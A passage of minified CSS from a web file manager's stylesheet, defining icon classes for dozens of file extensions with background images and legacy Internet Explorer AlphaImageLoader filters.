\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdb.png?ver=3.30',sizingMethod='scale');}.x-pdf{background-image:url("../../../images/file_icon/icon_file/pdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pdf.png?ver=3.30',sizingMethod='scale');}.x-php{background-image:url("../../../images/file_icon/icon_file/php.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php.png?ver=3.30',sizingMethod='scale');}.x-pkg{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-pl{background-image:url("../../../images/file_icon/icon_file/pl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pl.png?ver=3.30',sizingMethod='scale');}.x-png{background-image:url("../../../images/file_icon/icon_file/png.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/png.png?ver=3.30',sizingMethod='scale');}.x-pps{background-image:url("../../../images/file_icon/icon_file/pps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pps.png?ver=3.30',sizingMethod='scale');}.x-ppsx{background-image:url("../../../images/file_icon/icon_file/ppsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppsx.png?ver=3.30',sizingMethod='scale');}.x-ppt{background-image:url("../../../images/file_icon/icon_file/ppt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ppt.png?ver=3.30',sizingMethod='scale');}.x-pptx{background-image:url("../../../images/file_icon/icon_file/pptx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pptx.png?ver=3.30',sizingMethod='scale');}.x-prproj{background-image:url("../../../images/file_icon/icon_file/prproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/prproj.png?ver=3.30',sizingMethod='scale');}.x-ps1{background-image:url("../../../images/file_icon/icon_file/ps1.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ps1.png?ver=3.30',sizingMethod='scale');}.x-psd{background-image:url("../../../images/file_icon/icon_file/psd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/psd.png?ver=3.30',sizingMethod='scale');}.x-pspimage{background-image:url("../../../images/file_icon/icon_file/pspimage.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none 